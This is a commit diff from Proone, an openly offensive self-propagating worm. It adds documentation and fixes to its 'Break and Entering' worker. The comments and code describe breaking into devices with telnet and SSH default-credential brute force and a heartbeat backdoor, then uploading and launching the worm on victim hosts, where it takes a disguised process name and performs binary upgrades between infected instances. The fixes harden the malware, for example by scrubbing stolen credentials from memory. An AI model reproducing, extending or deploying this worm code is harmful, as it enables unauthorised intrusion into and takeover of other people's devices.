Code documentation and bug fixes ...

* Add convenience function prne_sfree_str()
  * Use prne_sfree_str() to scrub off sensitive data
* Making the brute force login vector optional
  BNE param cred_dict can be null
* Use O_EXCL when creating temporary files
* Fix bug where bne_cb_uptime() returns the up time of the child
  process, not the parent

10 files changed, 329 insertions, 22 deletions

diff --git a/src/bitfield.c b/src/bitfield.c
index 867c310..5d962bf 100644
--- a/src/bitfield.c
+++ b/src/bitfield.c
@@ -43,6 +43,7 @@ bool prne_bf_test (
 	const unsigned int s = bit - p * 8;
 
 	if (size <= p) {
+		// treat unset if the index is out of bounds
 		return false;
 	}
 
diff --git a/src/bitfield.h b/src/bitfield.h
index 1fd52dd..d1c3dd7 100644
--- a/src/bitfield.h
+++ b/src/bitfield.h
@@ -1,3 +1,8 @@
+/** \file The bit field implementation
+ *
+ * The bit field is a convenience set of functions for representing bits in
+ * byte arrays. It is much like \c std::bitset but with \c data() equivalent.
+ */
 /*
 * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
 *
@@ -26,21 +31,56 @@
 
 #include "util_ct.h"
 
-// This macro accepts zero
+/**
+ * \brief Calculate the number of bytes required to store bits
+ * \param nb_bits (integer value)the number of bits to store.
+ * 	Must be zero or greater
+ * \return the number of bytes required
+ */
 #define prne_bf_get_size(nb_bits)\
 	((nb_bits) % 8 == 0 ? (nb_bits) / 8 : (nb_bits) / 8 + 1)
 
+/**
+ * \brief Function type, to be applied to each bit in the field. See
+ *	\see prne_bf_foreach()
+ * \param ctx the custom context object to be used in the function
+ * \param bit the index of the bit
+ * \param v the value of the bit. \c True if set. \c False if unset
+ */
 typedef void(*prne_bf_foreach_ft)(
 	void *ctx,
 	const unsigned int bit,
 	const bool v);
 
-
+/**
+ * \brief Set the bit in the bit field.
+ * \param bf the bit field to manipulate
+ * \param bit the index of the bit to manipulate
+ * \param v the new value of the bit. \c True to set, \c false to unset
+ */
 void prne_bf_set (uint8_t *bf, const unsigned int bit, const bool v);
+/**
+ * \brief Extract the value of the bit in the bit field.
+ * \param bf the bit field
+ * \param size the size of the bit field in bytes
+ * \param bit the index of the bit
+ * \note \p size is used to determine if \p bit is out of bounds. The function
+ * 	regards the bits outside the bounds of the bit field unset(false).
+ * \return \c True if the bit is set.
+ */
 bool prne_bf_test (
 	const uint8_t *bf,
 	const size_t size,
 	const unsigned int bit);
+/**
+ * \brief Iterate through the bit field, invoking \p f for each bit.
+ * \param ctx the custom context to be passed to \p f
+ * \param bf the bit field
+ * \param size the size of the bit field in bytes
+ * \param f the function to be invoked for each bit in the bit field
+ * \note the number of times \p f is called is always a multiple of 8 regardless
+ * 	of the actual number of bits in the field.
+ */
 void prne_bf_foreach (
 	void *ctx,
 	const uint8_t *bf,
diff --git a/src/bne.c b/src/bne.c
index c9b1e6e..fef86dd 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -232,6 +232,10 @@ static bool bne_build_cred_set (prne_bne_t *ctx) {
 	bool ret = true;
 
 	prne_iset_clear(&ctx->cred_set);
+	if (ctx->param.cred_dict == NULL) {
+		return true;
+	}
+
 	for (size_t i = 0; ret && i < ctx->param.cred_dict->cnt; i += 1) {
 		ret = prne_iset_insert(
 			&ctx->cred_set,
@@ -269,8 +273,8 @@ static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) {
 }
 
 static void bne_free_result_cred (prne_bne_t *ctx) {
-	prne_free(ctx->result.cred.id);
-	prne_free(ctx->result.cred.pw);
+	prne_sfree_str(ctx->result.cred.id);
+	prne_sfree_str(ctx->result.cred.pw);
 	ctx->result.cred.id = NULL;
 	ctx->result.cred.pw = NULL;
 }
@@ -2072,8 +2076,8 @@ END: // CATCH
 	if (f_ret >= 0) {
 		bne_sh_rm_lockfile(sh_ctx);
 	}
-	prne_free(exec_name);
-	prne_free(lock_name);
+	prne_sfree_str(exec_name);
+	prne_sfree_str(lock_name);
 
 	return ret;
 }
@@ -2466,7 +2470,7 @@ static bool bne_vhtbt_do_upbin_us (
 // TRY
 	fd = ctx->param.cb.tmpfile(
 		ctx->param.cb_ctx,
-		O_CREAT | O_TRUNC | O_WRONLY,
+		O_CREAT | O_TRUNC | O_WRONLY | O_EXCL,
 		0700,
 		0,
 		&tmpfile_path);
@@ -4172,11 +4176,10 @@ prne_bne_t *prne_alloc_bne (
 
 	if (ctr_drbg == NULL ||
 		param->cb.exec_name == NULL ||
-		param->rcb == NULL ||
+		param->rcb == NULL)
 		/* The instance will only be able to infect hosts with same arch without
 		bin archive. */
 		// param->rcb->ba == NULL ||
-		param->cred_dict->cnt == 0)
 	{
 		errno = EINVAL;
 		return NULL;
diff --git a/src/bne.h b/src/bne.h
index 070f13d..397ae97 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -1,3 +1,12 @@
+/** \file The Break and Entering Worker
+ *
+ * The Break and Entering worker is a task unit. Its purpose is to break into a
+ * device on the network using vulnerabilities(namely using default login
+ * credentials) to inject a new instnace of Proone. It's also responsible for
+ * M2M communications with other existing Proone instances. The instantiation
+ * requires parametres of the target host, the vulnerabilities to try and the
+ * data required for the vulnerabilities(namely the cred dict).
+ */
 /*
 * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
 *
@@ -34,55 +43,265 @@
 #include "cred_dict.h"
 
 
-struct prne_bne;
+/* forward declarations */
+struct prne_bne; // opaque
 typedef struct prne_bne_param prne_bne_param_t;
 typedef struct prne_bne prne_bne_t;
 typedef struct prne_bne_result prne_bne_result_t;
 
+/**
+ * \brief Vulnerability Vector Enum
+ * \note Suitable storage type: \c int8_t
+ * \note Range: ( \c PRNE_BNE_V_NONE, \c NB_PRNE_BNE_V )
+*/
 enum prne_bne_vector {
-	PRNE_BNE_V_NONE = -1,
+	PRNE_BNE_V_NONE = -1, // Null value
+	/**
+	 * \brief The Heartbeat local backdoor vector
+	 * \note The bne process is determined successful if a TLS connection to the
+	 *	lbd port can be established. Anything that's done using the connection
+	 *	is extra(M2M operations) and is not returned in the result object.
+	 * \note This should be the first vector the worker tries in the normal use
+	 *	case.
+	 */
 	PRNE_BNE_V_HTBT,
+	/**
+	 * \brief The telnet brute force login vector
+	 * \note The connection is handed over to the internal shell macro once
+	 *	login has been successful and a shell has been opened.
+	 */
 	PRNE_BNE_V_BRUTE_TELNET,
+	/**
+	 * \brief The SSH brute force login vector
+	 * \note Once a user name has been chosen and used for the connection, only
+	 *	the credentials with the same user name are tried until the worker runs
+	 *	out of the credentials or loses the connection.
+	 * \note The connection is handed over to the internal shell macro once
+	 *	login has been successful and a shell has been opened.
+	 */
 	PRNE_BNE_V_BRUTE_SSH,
-	NB_PRNE_BNE_V
+	NB_PRNE_BNE_V // Meta value: number of vectors
 };
 typedef enum prne_bne_vector prne_bne_vector_t;
 
+/**
+ * \brief The BNE worker parameter object
+ * \note The referenced objects must be valid until the worker is freed.
+ */
 struct prne_bne_param {
+	// The cred dict to use for brute force login (optional)
 	const prne_cred_dict_t *cred_dict;
+	// The SSL config object for authoritive heartbeat client connections
+	// (optional)
 	mbedtls_ssl_config *htbt_ssl_conf;
+	/**
+	 * \brief The vulnerability vector list
+	 *
+	 * \note
+	 * The worker will try the vulnerabilities specified in the list one by one
+	 * in order. If BNE has been carried out successfully via a vector,
+	 * the worker exits and the rest of the vectors in the list are not tried.
+	 * Usually, you'd want to specify \c PRNE_BNE_V_HTBT first.
+	 */
 	struct {
 		const prne_bne_vector_t *arr;
 		size_t cnt;
 	} vector;
+	// Callback functions
 	struct {
+		/**
+		 * \brief The destination file name of the Proone executable (required)
+		 * \param ctx \c cb_ctx
+		 * \return A pointer to a null-terminated string.
+		 * \return Return null to indicate an unsuccessful operation. \c errno
+		 * 	should be set to an appropriate value.
+		 *
+		 * \note The returned memory must be writable and freeable with
+		 * 	\c prne_free() The worker scrubs the string and frees it immediately
+		 * 	after use.
+		 * \note
+		 * This is the name of the file the shell macro will create and appear
+		 * on the process table on the victim host. Usually taken from
+		 * \c PRNE_DATA_KEY_EXEC_NAME
+		 */
 		char *(*exec_name)(void *ctx);
+		/**
+		 * \brief The name of the upload lock file (optional)
+		 * \param ctx \c cb_ctx
+		 * \return A pointer to a null-terminated string.
+		 * \return Set \c errno to an appropriate value and return null to
+		 * 	indicate an unsuccessful operation.
+		 * \return Set \c errno to zero and return null to disable the use of
+		 * 	lock file.
+		 *
+		 * \note The returned memory must be writable and freeable with
+		 * 	\c prne_free() The worker scrubs the string and frees it immediately
+		 * 	after use.
+		 * \note
+		 * To prevent executable upload from multiple instances, the worker
+		 * attempts to create an empty file in the top directory of the mount
+		 * point before proceeding to data transfer. If the file already exists,
+		 * the worker assumes that another instance has already begun to upload
+		 * the executable and exits. The "upload guard", a shell function that
+		 * cleans up all the files created during the process including the lock
+		 * file, is launched before the upload process to give other instances
+		 * a chance to try again in the event of connection loss.
+		 */
 		char *(*bne_lock_name)(void *ctx);
+		/**
+		 * \brief Enter data dictionary callback (optional)
+		 * \param ctx \c cb_ctx
+		 * \return False if unable to enter the data dictionary. \c errno must
+		 * 	be set to an appropriate value.
+		 * \return True otherwise.
+		 *
+		 * \note \c exit_dd() is guaranteed to be invoked if returned true.
+		 * \note The function must always return true if \c cred_dict does not
+		 * 	have to be processed at all.
+		 * \note
+		 * This function is invoked by the worker before any data in
+		 * \c cred_dict is referenced so that the user implementation can
+		 * transform the data in a usable form. If \c cred_dict is pointed to
+		 * the dvault data, this callback function is where unmasking should
+		 * take place.
+		 */
 		bool (*enter_dd)(void *ctx);
+		/**
+		 * \brief Exit data dictionary callback (optional)
+		 * \param ctx \c cb_ctx
+		 *
+		 * \note
+		 * Processing of \c cred_dict to the original form, if transformed in
+		 * \c enter_dd(), should take place in this callback function. The
+		 * function is invoked by the worker when it is done with the data from
+		 * \c cred_dict. The function is guaranteed to be invoked by the worker
+		 * in case \c enter_dd() has returned true beforehand.
+		 */
 		void (*exit_dd)(void *ctx);
+		/**
+		 * \brief Process uptime enquiry callback (optional)
+		 * \param ctx \c cb_ctx
+		 * \return The elapsed real time of the parent process in seconds.
+		 * \return \c UINT64_MAX to disable the uptime check for M2M binary
+		 * 	upgrade of the local instance or if process uptime information is
+		 * 	unavailable.
+		 * \see \c BNE_M2M_UPBIN_INT
+		 *
+		 * \note
+		 * The worker uses the process uptime to determine if it's too soon to
+		 * perform M2M binary upgrade on either of the instances. The process
+		 * uptime should be computed and returned via the callback function.
+		 */
 		uint64_t (*uptime)(void *ctx);
 		/**
-		* \brief  called by bne instance to compare versions of Proone to
-		*         determine if binary update has to be performed.
-		* \return negative value if \p uuid is newer, 0 if \p uuid is identical
-		          to the current version or positive value if \p uuid is older
-		*/
+		 * \brief Proone version comparator callback (optional)
+		 * \param ctx \c cb_ctx
+		 * \param uuid The version uuid of the remote instance.
+		 * \return A negative integer if \p uuid is newer than that of the local
+		 * 	instance.
+		 * \return Zero if \p uuid is identical to that of the local instance.
+		 * \return A positive integer if \p uuid is older than that of the local
+		 * 	instance.
+		 *
+		 * \note Always returning zero effectively disables M2M binary upgrade.
+		 * \note
+		 * This callback function is used by the worker to determine if either
+		 * of the instances has to be updated to the newer version. Note that
+		 * the version system of Proone does not use linear numeric values to
+		 * represent version for obsecurity. For this reason, every executable
+		 * should carry a version matrix containing the version uuids older than
+		 * that of itself.
+		 */
 		int (*vercmp)(void *ctx, const uint8_t *uuid);
+		/**
+		 * \brief Create temporary file request callback (optional)
+		 * \param ctx \c cb_ctx
+		 * \param flags \c open() flags.
+		 * \param mode \c open() mode.
+		 * \param req_size The initial size of the temporary file.
+		 * \param path (optional)null-terminated string, the path to the
+		 * 	temporary file created. If used, the memory must be freeable with
+		 * 	\c prne_free()
+		 * \return An open and valid file descriptor upon successful creation of
+		 * 	temporary file.
+		 * \return A negative integer otherwise. \c errno must be set to an
+		 * 	appropriate value.
+		 *
+		 * \note
+		 * This is the callback function that the worker uses to create
+		 * temporary files. The user implementation should determine the path of
+		 * the new temporary file using its own resources. The file should be
+		 * grown to \p req_size using syscalls like \c fallocate(). The file may
+		 * contain "holes". Any \c errno resulted during the process must be
+		 * preserved when the function has returned so that the worker can
+		 * respectively return the error in the \c prne_bne_result_t object.
+		 * A temporary file is created to download a new version of executable.
+		 */
 		int (*tmpfile)(
 			void *ctx,
 			const int flags,
 			const mode_t mode,
 			size_t req_size,
 			char **path);
+		/**
+		 * \brief Binary upgrade event callback (optional)
+		 * \param ctx \c cb_ctx
+		 * \param path The path to the new executable.
+		 * \param cmd The command line arguments without the first element,
+		 * 	which is the path to the executable.
+		 * \return True if the new executable is accepted and no error has
+		 * 	occurred during the process. False otherwise. \c errno may be set to
+		 * 	explain why the executable has not been accepted.
+		 *
+		 * \note
+		 * This function is called by the worker upon the successful download of
+		 * a new version of executable from another instance. The mode of the
+		 * file at \p path is set so that it is executable. \p cmd is the
+		 * command line options to be used when launching the executable. Note
+		 * that an array for \c exec() should be composed as the first element
+		 * of \p cmd is not \p path.
+		 */
 		bool (*upbin)(void *ctx, const char *path, const prne_htbt_cmd_t *cmd);
 	} cb;
+	/**
+	 * \brief Callback context object
+	 * \note The object for the callback functions(ctx param).
+	 */
 	void *cb_ctx;
-	const prne_rcb_param_t *rcb;
+	const prne_rcb_param_t *rcb; // The recombination context (required)
+	/**
+	 * \brief The origin instance uuid (optional)
+	 * \note The length of the array must be 16 or longer.
+	 * \note If set to null, a blank command line option will be used
+	 * 	effectively leaving the value in the new instance as the initial value,
+	 * 	all zero.
+	 * \note The all-zero uuid is generally for the index case instance(P0).
+	 * \note When launching Proone on a new host, the uuid of the instance that
+	 * 	infected the host can be passed as a command line option. The uuid of
+	 * 	the instance in which the worker runs should be used.
+	 */
 	const uint8_t *org_id;
+	/**
+	 * \brief The IP address of the target host
+	 * \note The Proone IPv6 convention is used - when the addresses of both
+	 * 	versions are specified, a socket will be opened for each version and
+	 * 	whichever becomes available first will be used.
+	 */
 	prne_ip_addr_t subject;
+	/**
+	 * \brief The maximum number of login attempts
+	 * \note Set to zero to unlimit the number of login attempps.
+	 * \note Use this param to limit the number of login attempts per vector.
+	 */
 	unsigned int login_attempt;
 };
 
+/**
+ * \brief The BNE result object (read-only)
+ * \note An instance of the BNE result object is returned via \c pth_join().
+ * \note The object is part of the worker instance and will be freed when the
+ * 	worker is freed.
+ */
 struct prne_bne_result {
 	struct {
 		char *id;
@@ -97,13 +316,43 @@ struct prne_bne_result {
 	bool ny_instance;
 };
 
+/**
+ * \brief Initialise the BNE worker parameter object
+ * \note Initialises the members of \p p to initial values. Prepares \p p so
+ * 	that it can be freed using \c prne_free_bne_param()
+ */
 void prne_init_bne_param (prne_bne_param_t *p);
+/**
+ * \brief Free the resources allocated for the BNE worker parameter object.
+ * \param p The pointer to the object that has been initialised using
+ * 	\c prne_init_bne_param()
+ */
 void prne_free_bne_param (prne_bne_param_t *p);
 
+/**
+ * \brief Convert the enum value to a string describing the enum value
+ * \return A pointer to the string from the read-only static string pool.
+ */
 const char *prne_bne_vector_tostr (const prne_bne_vector_t v);
 
+/**
+ * \brief Allocate and start an instance of the BNE worker
+ * \param w A pointer to the pth worker object.
+ * \param ctr_drbg An instance of CTR DRBG for initialising internal PRNGs.
+ * \param param A pointer to the BNE worker parameter object.
+ * \return A pointer to the new instance of the BNE worker. A null pointer
+ * 	on error.
+ * \note The worker keeps its own copy of \p param. The memory used for \p param
+ * 	can be freed after the function returns.
+ * \note The thread can be controlled with \p w. The interruption of the worker,
+ * 	however, is not implemented.
+ */
 prne_bne_t *prne_alloc_bne (
 	prne_worker_t *w,
 	mbedtls_ctr_drbg_context *ctr_drbg,
 	const prne_bne_param_t *param);
+/**
+ * \brief Get the target host parameter of the BNE worker
+ * \return A pointer to the internal \c prne_ip_addr_t object.
+ */
 const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne);
diff --git a/src/htbt.c b/src/htbt.c
index 1389c5f..ff42108 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -1638,7 +1638,7 @@ static bool htbt_slv_srv_bin (
 	errno = 0;
 	fd = ctx->cbset->tmpfile(
 		ctx->cb_ctx,
-		O_CREAT | O_TRUNC | O_WRONLY,
+		O_CREAT | O_TRUNC | O_WRONLY | O_EXCL,
 		0700,
 		bin_meta.alloc_len,
 		&path);
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index 6654813..f77307e 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -2647,7 +2647,7 @@ static bool rcb_open_outfile (void) {
 
 		prog_g.cmd_st.rcb.fd = open(
 			prog_conf.cmd_param.rcb.out_path,
-			O_CREAT | O_TRUNC | O_WRONLY,
+			O_CREAT | O_TRUNC | O_WRONLY | O_EXCL,
 			0755);
 		if (prog_g.cmd_st.rcb.fd < 0) {
 			perror(prog_conf.cmd_param.rcb.out_path);
diff --git a/src/proone.c b/src/proone.c
index a5375f4..b81a91d 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -1335,7 +1335,7 @@ static void bne_cb_exit_dd (void *ctx) {
 static uint64_t bne_cb_uptime (void *ctx) {
 	return prne_sub_timespec(
 		prne_gettime(CLOCK_MONOTONIC),
-		prne_g.child_start).tv_sec;
+		prne_g.parent_start).tv_sec;
 }
 
 static int bne_cb_vercmp (void *ctx, const uint8_t *uuid) {
diff --git a/src/protocol.h b/src/protocol.h
index da500b3..600be8a 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -120,7 +120,7 @@ struct prne_host_cred {
 * used to indicate whether the message is a initiation(1) or a response(0).
 * 'msg_id' is a randomly generated by either end of connection. The value 0 is
 * only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24
-* zeros over the wire).
+* zeroes over the wire).
 * 'msg_id' is followed by uint8_t 'op', which holds a `prne_htbt_op_t` value.
 * The length of data follows varies depending on 'op'.
 */
diff --git a/src/util_rt.c b/src/util_rt.c
index 8fce86b..95f117f 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -151,6 +151,19 @@ char *prne_redup_str (char *old, const char *str) {
 	return ret;
 }
 
+void prne_sfree_str (char *s) {
+	char *p;
+
+	if (s == NULL) {
+		return;
+	}
+
+	for (p = s; *p != 0; p += 1) {
+		*p = 0;
+	}
+	prne_free(s);
+}
+
 void prne_free (void *ptr) {
 	free(ptr);
 }
diff --git a/src/util_rt.h b/src/util_rt.h
index f7b10af..b60bedd 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -51,6 +51,7 @@ char *prne_alloc_str (const size_t len);
 char *prne_realloc_str (char *old, const size_t len);
 char *prne_dup_str (const char *str);
 char *prne_redup_str (char *old, const char *str);
+void prne_sfree_str (char *s);
 void prne_free (void *ptr);
 size_t prne_getpagesize (void);